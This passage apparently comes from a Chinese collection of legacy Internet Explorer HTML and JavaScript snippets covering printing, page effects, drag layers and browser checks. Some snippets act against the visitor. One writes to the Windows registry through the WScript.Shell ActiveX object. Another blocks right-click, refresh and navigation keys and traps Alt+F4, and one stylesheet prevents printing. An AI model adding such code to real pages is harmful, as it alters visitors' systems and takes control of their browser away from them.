clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&#34;&gt;&nbsp;&nbsp;<br/>&lt;param&nbsp;name=&#34;Command&#34;&nbsp;value=&#34;Maximize&#34;&gt;&lt;/object&gt;&nbsp;&nbsp;<br/>&lt;OBJECT&nbsp;id=close&nbsp;classid=&#34;clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11&#34;&gt;&nbsp;&nbsp;<br/>&lt;PARAM&nbsp;NAME=&#34;Command&#34;&nbsp;value=&#34;Close&#34;&gt;&lt;/OBJECT&gt;&nbsp;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=最小化&nbsp;onclick=min.Click()&gt;&nbsp;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=最大化&nbsp;onclick=max.Click()&gt;&nbsp;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=关闭&nbsp;onclick=close.Click()&gt;&nbsp;&nbsp;<br/>&nbsp;<br/>&nbsp;<br/><br/>//光标停在文字最后&nbsp;<br/>&nbsp;<br/>&lt;script&nbsp;language=&#34;javascript&#34;&gt;&nbsp;<br/>function&nbsp;cc()&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;e&nbsp;=&nbsp;event.srcElement;&nbsp;<br/>&nbsp;var&nbsp;r&nbsp;=e.cr&#101;ateTextRange();&nbsp;<br/>&nbsp;r.moveStart(&#39;character&#39;,e.value.length);&nbsp;<br/>&nbsp;r.collapse(true);&nbsp;<br/>&nbsp;r.sel&#101;ct();&nbsp;<br/>}&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>&lt;input&nbsp;type=text&nbsp;name=text1&nbsp;value=&#34;123&#34;&nbsp;onfocus=&#34;cc()&#34;&gt;&nbsp;<br/>//页面进入和退出的特效&nbsp;<br/><br/>进入页面&lt;meta&nbsp;http-equiv=&#34;Page-Enter&#34;&nbsp;content=&#34;revealTrans(duration=x,&nbsp;transition=y)&#34;&gt;&nbsp;<br/>推出页面&lt;meta&nbsp;http-equiv=&#34;Page-Exit&#34;&nbsp;content=&#34;revealTrans(duration=x,&nbsp;transition=y)&#34;&gt;&nbsp;&nbsp;<br/>这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使&nbsp;<br/>用哪种特效，取值为1-23:&nbsp;<br/>　　0&nbsp;矩形缩小&nbsp;&nbsp;<br/>　　1&nbsp;矩形扩大&nbsp;&nbsp;<br/>　　2&nbsp;圆形缩小&nbsp;<br/>　　3&nbsp;圆形扩大&nbsp;&nbsp;<br/>　　4&nbsp;下到上刷新&nbsp;&nbsp;<br/>　　5&nbsp;上到下刷新&nbsp;<br/>　　6&nbsp;左到右刷新&nbsp;&nbsp;<br/>　　7&nbsp;右到左刷新&nbsp;&nbsp;<br/>　　8&nbsp;竖百叶窗&nbsp;<br/>　　9&nbsp;横百叶窗&nbsp;&nbsp;<br/>　　10&nbsp;错位横百叶窗&nbsp;&nbsp;<br/>　　11&nbsp;错位竖百叶窗&nbsp;<br/>　　12&nbsp;点扩散&nbsp;&nbsp;<br/>　　13&nbsp;左右到中间刷新&nbsp;&nbsp;<br/>　　14&nbsp;中间到左右刷新&nbsp;<br/>　　15&nbsp;中间到上下&nbsp;<br/>　　16&nbsp;上下到中间&nbsp;&nbsp;<br/>　　17&nbsp;右下到左上&nbsp;<br/>　　18&nbsp;右上到左下&nbsp;&nbsp;<br/>　　19&nbsp;左上到右下&nbsp;&nbsp;<br/>　　20&nbsp;左下到右上&nbsp;<br/>　　21&nbsp;横条&nbsp;&nbsp;<br/>　　22&nbsp;竖条&nbsp;&nbsp;<br/>　　23&nbsp;&nbsp;<br/>//网页是否被检索&nbsp;<br/>&lt;meta&nbsp;name=&#34;ROBOTS&#34;&nbsp;content=&#34;属性值&#34;&gt;&nbsp;<br/>　　其中属性值有以下一些:&nbsp;<br/>　　属性值为&#34;all&#34;:&nbsp;文件将被检索，且页上链接可被查询；&nbsp;<br/>　　属性值为&#34;none&#34;:&nbsp;文件不被检索，而且不查询页上的链接；&nbsp;<br/>　　属性值为&#34;index&#34;:&nbsp;文件将被检索；&nbsp;<br/>　　属性值为&#34;follow&#34;:&nbsp;查询页上的链接；&nbsp;<br/>　　属性值为&#34;noindex&#34;:&nbsp;文件不检索，但可被查询链接；&nbsp;<br/>　　属性值为&#34;nofollow&#34;:&nbsp;&nbsp;<br/>&nbsp;<br/><br/>//打印分页&nbsp;<br/>&lt;p&nbsp;&nbsp;style=&#34;page-break-after:always&#34;&gt;page1&lt;/p&gt;&nbsp;&nbsp;&nbsp;<br/>&lt;p&nbsp;&nbsp;style=&#34;page-break-after:always&#34;&gt;page2&lt;/p&gt;&nbsp;&nbsp;&nbsp;<br/>&nbsp;<br/><br/>//设置打印&nbsp;<br/><br/>&lt;object&nbsp;id=&#34;factory&#34;&nbsp;style=&#34;display:none&#34;&nbsp;viewastext&nbsp;<br/>&nbsp;&nbsp;classid=&#34;clsid:1663ed61-23eb-11d2-b92f-008048fdd814&#34;&nbsp;<br/>&nbsp;&nbsp;codebase=&#34;<a href="http://" target="_blank">http://</a>www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360&#34;&nbsp;<br/>&gt;&lt;/object&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=页面设置&nbsp;onclick=&#34;factory.printing.PageSetup()&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=打印预览&nbsp;onclick=&#34;factory.printing.Preview()&#34;&gt;&nbsp;<br/>&nbsp;&nbsp;<br/>&lt;script&nbsp;language=javascript&gt;&nbsp;<br/>function&nbsp;window.onload()&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;&nbsp;//&nbsp;--&nbsp;advanced&nbsp;features&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.SetMarginMeasure(2)&nbsp;//&nbsp;measure&nbsp;margins&nbsp;in&nbsp;inches&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.SetPageRange(false,&nbsp;1,&nbsp;3)&nbsp;//&nbsp;need&nbsp;pages&nbsp;from&nbsp;1&nbsp;to&nbsp;3&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.printer&nbsp;=&nbsp;&#34;HP&nbsp;DeskJet&nbsp;870C&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.copies&nbsp;=&nbsp;2&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.collate&nbsp;=&nbsp;true&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.paperSize&nbsp;=&nbsp;&#34;A4&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.paperSource&nbsp;=&nbsp;&#34;Manual&nbsp;feed&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;//&nbsp;--&nbsp;basic&nbsp;features&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.header&nbsp;=&nbsp;&#34;居左显示&amp;b居中显示&amp;b居右显示页码，第&amp;p页/共&amp;P页&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.footer&nbsp;=&nbsp;&#34;（自定义页脚）&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.portrait&nbsp;=&nbsp;false&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.leftMargin&nbsp;=&nbsp;0.75&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.topMargin&nbsp;=&nbsp;1.5&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.rightMargin&nbsp;=&nbsp;0.75&nbsp;<br/>&nbsp;&nbsp;&nbsp;factory.printing.bottomMargin&nbsp;=&nbsp;1.5&nbsp;<br/>}&nbsp;<br/>function&nbsp;Print(frame)&nbsp;{&nbsp;<br/>&nbsp;&nbsp;factory.printing.Print(true,&nbsp;frame)&nbsp;//&nbsp;print&nbsp;with&nbsp;prompt&nbsp;<br/>}&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=&#34;打印本页&#34;&nbsp;onclick=&#34;factory.printing.Print(false)&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=&#34;页面设置&#34;&nbsp;onclick=&#34;factory.printing.PageSetup()&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=&#34;打印预览&#34;&nbsp;onclick=&#34;factory.printing.Preview()&#34;&gt;&lt;br&gt;&nbsp;<br/>&lt;a&nbsp;href=&#34;<a href="http://" target="_blank">http://</a>www.meadroid.com/scriptx/docs/printdoc.htm?static&#34;&nbsp;&nbsp;target=_blank&gt;具体使用手册，更多信息，点这里&lt;/a&gt;&nbsp;<br/>&nbsp;&nbsp;<br/>//自带的打印预览&nbsp;<br/>WebBrowser.ExecWB(1,1)&nbsp;打开&nbsp;&nbsp;<br/>Web.ExecWB(2,1)&nbsp;关闭现在所有的IE窗口，并打开一个新窗口&nbsp;&nbsp;<br/>Web.ExecWB(4,1)&nbsp;保存网页&nbsp;&nbsp;<br/>Web.ExecWB(6,1)&nbsp;打印&nbsp;&nbsp;<br/>Web.ExecWB(7,1)&nbsp;打印预览&nbsp;&nbsp;<br/>Web.ExecWB(8,1)&nbsp;打印页面设置&nbsp;&nbsp;<br/>Web.ExecWB(10,1)&nbsp;查看页面属性&nbsp;&nbsp;<br/>Web.ExecWB(15,1)&nbsp;好像是撤销，有待确认&nbsp;&nbsp;<br/>Web.ExecWB(17,1)&nbsp;全选&nbsp;&nbsp;<br/>Web.ExecWB(22,1)&nbsp;刷新&nbsp;&nbsp;<br/>Web.ExecWB(45,1)&nbsp;关闭窗体无提示&nbsp;&nbsp;<br/>&lt;style&nbsp;media=print&gt;&nbsp;&nbsp;<br/>.Noprint{display:none;}&lt;!--用本样式在打印时隐藏非打印项目--&gt;&nbsp;&nbsp;<br/>.PageNext{page-break-after:&nbsp;always;}&lt;!--控制分页--&gt;&nbsp;&nbsp;<br/>&lt;/style&gt;&nbsp;&nbsp;<br/>&lt;object&nbsp;&nbsp;id=&#34;WebBrowser&#34;&nbsp;&nbsp;width=0&nbsp;&nbsp;height=0&nbsp;&nbsp;classid=&#34;CLSID:8856F961-340A-11D0-A96B-00C04FD705A2&#34;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&lt;/object&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;<br/>&lt;center&nbsp;class=&#34;Noprint&#34;&nbsp;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=打印&nbsp;onclick=document.all.WebBrowser.ExecWB(6,1)&gt;&nbsp;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=直接打印&nbsp;onclick=document.all.WebBrowser.ExecWB(6,6)&gt;&nbsp;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=页面设置&nbsp;onclick=document.all.WebBrowser.ExecWB(8,1)&gt;&nbsp;&nbsp;<br/>&lt;/p&gt;&nbsp;&nbsp;<br/>&lt;p&gt;&nbsp;&lt;input&nbsp;type=button&nbsp;value=打印预览&nbsp;onclick=document.all.WebBrowser.ExecWB(7,1)&gt;&nbsp;&nbsp;<br/>&lt;/center&gt;&nbsp;<br/>//去掉打印时的页眉页脚&nbsp;<br/><br/>&lt;script&nbsp;&nbsp;language=&#34;JavaScript&#34;&gt;&nbsp;&nbsp;&nbsp;<br/>var&nbsp;HKEY_Root,HKEY_Path,HKEY_Key;&nbsp;<br/>HKEY_Root=&#34;HKEY_CURRENT_USER&#34;;&nbsp;<br/>HKEY_Path=&#34;\\Software\\Microsoft\\Internet&nbsp;Explorer\\PageSetup\\&#34;;&nbsp;<br/>//设置网页打印的页眉页脚为空&nbsp;<br/>function&nbsp;PageSetup_Null()&nbsp;<br/>{&nbsp;<br/>&nbsp;try&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;Wsh=new&nbsp;ActiveXObject(&#34;WScript.Shell&#34;);&nbsp;<br/>&nbsp;&nbsp;HKEY_Key=&#34;header&#34;;&nbsp;<br/>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,&#34;&#34;);&nbsp;<br/>&nbsp;&nbsp;HKEY_Key=&#34;footer&#34;;&nbsp;<br/>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,&#34;&#34;);&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;catch(e){}&nbsp;<br/>}&nbsp;<br/>//设置网页打印的页眉页脚为默认值&nbsp;<br/>function&nbsp;&nbsp;PageSetup_Default()&nbsp;<br/>{&nbsp;&nbsp;&nbsp;<br/>&nbsp;try&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;Wsh=new&nbsp;ActiveXObject(&#34;WScript.Shell&#34;);&nbsp;<br/>&nbsp;&nbsp;HKEY_Key=&#34;header&#34;;&nbsp;<br/>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,&#34;&amp;w&amp;b页码,&amp;p/&amp;P&#34;);&nbsp;<br/>&nbsp;&nbsp;HKEY_Key=&#34;footer&#34;;&nbsp;<br/>&nbsp;&nbsp;Wsh.RegWrite(HKEY_Root+HKEY_Path+HKEY_Key,&#34;&amp;u&amp;b&amp;d&#34;);&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;catch(e){}&nbsp;<br/>}&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>&lt;input&nbsp;type=&#34;button&#34;&nbsp;value=&#34;清空页码&#34;&nbsp;onclick=PageSetup_Null()&gt;&nbsp;<br/>&lt;input&nbsp;type=&#34;button&#34;&nbsp;value=&#34;恢复页码&#34;&nbsp;onclick=PageSetup_Default()&gt;&nbsp;<br/>//浏览器验证&nbsp;<br/><br/>function&nbsp;checkBrowser()&nbsp;<br/>{&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ver=navigator.appVersion&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.dom=document.getElementById?1:0&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ie6=(this.ver.indexOf(&#34;MSIE&nbsp;6&#34;)&gt;-1&nbsp;&amp;&amp;&nbsp;this.dom)?1:0;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ie5=(this.ver.indexOf(&#34;MSIE&nbsp;5&#34;)&gt;-1&nbsp;&amp;&amp;&nbsp;this.dom)?1:0;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ie4=(document.all&nbsp;&amp;&amp;&nbsp;!this.dom)?1:0;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ns5=(this.dom&nbsp;&amp;&amp;&nbsp;parseInt(this.ver)&nbsp;&gt;=&nbsp;5)&nbsp;?1:0;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ns4=(document.layers&nbsp;&amp;&amp;&nbsp;!this.dom)?1:0;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.mac=(this.ver.indexOf(&#39;Mac&#39;)&nbsp;&gt;&nbsp;-1)&nbsp;?1:0;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ope=(navigator.userAgent.indexOf(&#39;Opera&#39;)&gt;-1);&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ie=(this.ie6&nbsp;||&nbsp;this.ie5&nbsp;||&nbsp;this.ie4)&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.ns=(this.ns4&nbsp;||&nbsp;this.ns5)&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.bw=(this.ie6&nbsp;||&nbsp;this.ie5&nbsp;||&nbsp;this.ie4&nbsp;||&nbsp;this.ns5&nbsp;||&nbsp;this.ns4&nbsp;||&nbsp;this.mac&nbsp;||&nbsp;this.ope)&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;this.nbw=(!this.bw)&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;return&nbsp;this;&nbsp;<br/>}&nbsp;<br/>//计算内容宽和高&nbsp;<br/>&lt;SCRIPT&nbsp;&nbsp;language=&#34;javascript&#34;&gt;&nbsp;&nbsp;&nbsp;<br/>function&nbsp;&nbsp;test(obj)&nbsp;&nbsp;&nbsp;<br/>{&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;&nbsp;range&nbsp;&nbsp;=&nbsp;&nbsp;obj.cr&#101;ateTextRange();&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&#34;内容区宽度:&nbsp;&nbsp;&#34;&nbsp;&nbsp;+&nbsp;&nbsp;range.boundingWidth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&nbsp;&#34;px\r\n内容区高度:&nbsp;&nbsp;&#34;&nbsp;&nbsp;+&nbsp;&nbsp;range.boundingHeight&nbsp;&nbsp;+&nbsp;&nbsp;&#34;px&#34;);&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>}&nbsp;&nbsp;&nbsp;<br/>&lt;/SCRIPT&gt;&nbsp;&nbsp;&nbsp;<br/>&lt;BODY&gt;&nbsp;&nbsp;&nbsp;<br/>&lt;Textarea&nbsp;id=&#34;txt&#34;&nbsp;height=&#34;150&#34;&gt;sdf&lt;/textarea&gt;&lt;INPUT&nbsp;&nbsp;type=&#34;button&#34;&nbsp;&nbsp;value=&#34;计算内容宽度&#34;&nbsp;&nbsp;onClick=&#34;test(txt)&#34;&gt;&nbsp;&nbsp;&nbsp;<br/>&lt;/BODY&gt;&nbsp;<br/>//无模式的提示框&nbsp;<br/>function&nbsp;modelessAlert(Msg)&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;&nbsp;window.showModelessDialog(&#34;javascript:alert(\&#34;&#34;+escape(Msg)+&#34;\&#34;);window.close();&#34;,&#34;&#34;,&#34;status:no;resizable:no;help:no;dialogHeight:height:30px;dialogHeight:40px;&#34;);&nbsp;<br/>}&nbsp;<br/>&nbsp;<br/><br/>&nbsp;<br/>&nbsp;<br/><br/>//屏蔽按键&nbsp;<br/>&nbsp;<br/>&lt;html&gt;&nbsp;<br/>&lt;head&gt;&nbsp;<br/>&nbsp;&nbsp;&lt;meta&nbsp;http-equiv=&#34;Content-Type&#34;&nbsp;content=&#34;text/html;&nbsp;charset=gb2312&#34;&gt;&nbsp;<br/>&nbsp;&nbsp;&lt;noscript&gt;&lt;meta&nbsp;http-equiv=&#34;refresh&#34;&nbsp;content=&#34;0;url=about:noscript&#34;&gt;&lt;/noscript&gt;&nbsp;<br/>&nbsp;&nbsp;&lt;title&gt;屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键&lt;/title&gt;&nbsp;<br/>&lt;/head&gt;&nbsp;<br/>&lt;body&gt;&nbsp;<br/>&lt;script&nbsp;language=&#34;Javascript&#34;&gt;&lt;!--&nbsp;<br/>&nbsp;&nbsp;//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键&nbsp;<br/>&nbsp;&nbsp;//Author:&nbsp;meizz(梅花雨)&nbsp;2002-6-18&nbsp;<br/>function&nbsp;document.oncontextmenu(){event.returnValue=false;}//屏蔽鼠标右键&nbsp;<br/>function&nbsp;window.onhelp(){return&nbsp;false}&nbsp;//屏蔽F1帮助&nbsp;<br/>function&nbsp;document.onkeydown()&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;if&nbsp;((window.event.altKey)&amp;&amp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((window.event.keyCode==37)||&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;←&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(window.event.keyCode==39)))&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;→&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&#34;不准你使用ALT+方向键前进或后退网页！&#34;);&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue=false;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;注：这还不是真正地屏蔽&nbsp;Alt+&nbsp;方向键，&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因为&nbsp;Alt+&nbsp;方向键弹出警告框时，按住&nbsp;Alt&nbsp;键不放，&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用鼠标点掉警告框，这种屏蔽方法就失效了。以后若&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有哪位高手有真正屏蔽&nbsp;Alt&nbsp;键的方法，请告知。*/&nbsp;<br/>&nbsp;&nbsp;if&nbsp;((event.keyCode==8)&nbsp;&nbsp;||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//屏蔽退格删除键&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.keyCode==116)||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;F5&nbsp;刷新键&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.ctrlKey&nbsp;&amp;&amp;&nbsp;event.keyCode==82)){&nbsp;//Ctrl&nbsp;+&nbsp;R&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.keyCode=0;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue=false;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;if&nbsp;(event.keyCode==122){event.keyCode=0;event.returnValue=false;}&nbsp;&nbsp;//屏蔽F11&nbsp;<br/>&nbsp;&nbsp;if&nbsp;(event.ctrlKey&nbsp;&amp;&amp;&nbsp;event.keyCode==78)&nbsp;event.returnValue=false;&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;Ctrl+n&nbsp;<br/>&nbsp;&nbsp;if&nbsp;(event.shiftKey&nbsp;&amp;&amp;&nbsp;event.keyCode==121)event.returnValue=false;&nbsp;&nbsp;//屏蔽&nbsp;shift+F10&nbsp;<br/>&nbsp;&nbsp;if&nbsp;(window.event.srcElement.tagName&nbsp;==&nbsp;&#34;A&#34;&nbsp;&amp;&amp;&nbsp;window.event.shiftKey)&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.event.returnValue&nbsp;=&nbsp;false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//屏蔽&nbsp;shift&nbsp;加鼠标左键新开一网页&nbsp;<br/>&nbsp;&nbsp;if&nbsp;((window.event.altKey)&amp;&amp;(window.event.keyCode==115))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//屏蔽Alt+F4&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.showModelessDialog(&#34;about:blank&#34;,&#34;&#34;,&#34;dialogWidth:1px;dialogheight:1px&#34;);&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>}&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键&nbsp;<br/>&lt;/body&gt;&nbsp;<br/>&lt;/html&gt;&nbsp;<br/>//屏蔽打印&nbsp;<br/>&lt;style&gt;&nbsp;<br/>@media&nbsp;print{&nbsp;<br/>*&nbsp;{display:none}&nbsp;<br/>}&nbsp;<br/>&lt;/style&gt;&nbsp;<br/>//移动的图层，拖动&nbsp;<br/><br/>1.&lt;span&nbsp;style=&#39;position:absolute;width:200;height:200;background:red&#39;&nbsp;onmousedown=MouseDown(this)&nbsp;onmousemove=MouseMove()&nbsp;onmouseup=MouseUp()&gt;meizz&lt;/span&gt;&nbsp;<br/>&lt;script&nbsp;language=javascript&gt;&nbsp;<br/>var&nbsp;Obj;&nbsp;<br/>function&nbsp;MouseDown(obj)&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;Obj=obj;&nbsp;<br/>&nbsp;&nbsp;Obj.setCapture();&nbsp;<br/>&nbsp;&nbsp;Obj.l=event.x-Obj.style.pixelLeft;&nbsp;<br/>&nbsp;&nbsp;Obj.t=event.y-Obj.style.pixelTop;&nbsp;<br/>}&nbsp;<br/>function&nbsp;MouseMove()&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;if(Obj!=null)&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Obj.style.left&nbsp;=&nbsp;event.x-Obj.l;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Obj.style.top&nbsp;=&nbsp;event.y-Obj.t;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>}&nbsp;<br/>function&nbsp;MouseUp()&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;if(Obj!=null)&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Obj.releaseCapture();&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Obj=null;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>}&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>2.&nbsp;<br/>&lt;div&nbsp;id=&#34;myDiv&#34;&nbsp;src=&#34;logo.gif&#34;&nbsp;ondrag=&#34;doDrag();&#34;&nbsp;onmouseover=&#34;this.style.cursor=&#39;hand&#39;&#34;&nbsp;style=&#34;position:absolute;left=100;top=100;&#34;&nbsp;onmousedown=&#34;doMouseDown();&#34;&gt;&nbsp;<br/>&lt;a&nbsp;href=&#34;#&#34;&nbsp;onclick=&#34;return&nbsp;false&#34;&gt;&lt;h1&gt;wlecome&lt;/h1&gt;&lt;/a&gt;&nbsp;<br/>&lt;/div&gt;&nbsp;<br/>&lt;script&nbsp;language=&#34;JavaScript&#34;&nbsp;type=&#34;text/javascript&#34;&gt;&nbsp;<br/>var&nbsp;o&#114;gMouseX;&nbsp;<br/>var&nbsp;o&#114;gMouseY;&nbsp;<br/>var&nbsp;o&#114;gObjX;&nbsp;<br/>var&nbsp;o&#114;gObjY;&nbsp;<br/>function&nbsp;doDrag()&nbsp;<br/>{&nbsp;<br/>var&nbsp;myObject=document.all.myDiv;&nbsp;<br/>var&nbsp;x=event.clientX;&nbsp;<br/>var&nbsp;y=event.clientY;&nbsp;<br/>myObject.style.left=x-(orgMouseX-orgObjX);&nbsp;<br/>myObject.style.top=y-(orgMouseY-orgObjY);&nbsp;<br/>&nbsp;&nbsp;<br/>}&nbsp;<br/>function&nbsp;doMouseDown()&nbsp;<br/>{&nbsp;<br/>o&#114;gMouseX=event.clientX;&nbsp;<br/>o&#114;gMouseY=event.clientY;&nbsp;<br/>o&#114;gObjX=parseInt(document.all.myDiv.style.left);&nbsp;<br/>o&#114;gObjY=parseInt(document.all.myDiv.style.top);&nbsp;<br/>}&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>&nbsp;&nbsp;<br/>//文档状态改变&nbsp;<br/><br/>&lt;iframe&nbsp;src=&#34;a.html&#34;&nbsp;id=&#34;f&#34;&nbsp;name=&#34;f&#34;&nbsp;scrolling=&#34;no&#34;&nbsp;frameborder=0&nbsp;marginwidth=0&nbsp;marginheight=0&gt;&lt;/iframe&gt;&nbsp;<br/>&lt;script&gt;&nbsp;<br/>var&nbsp;doc=window.frames[&#34;f&#34;].document;&nbsp;<br/>function&nbsp;s(){&nbsp;<br/>&nbsp;if&nbsp;(doc.readyState==&#34;complete&#34;){&nbsp;<br/>&nbsp;&nbsp;document.all.f.style.height=doc.body.scrollHeight&nbsp;<br/>&nbsp;&nbsp;document.all.f.style.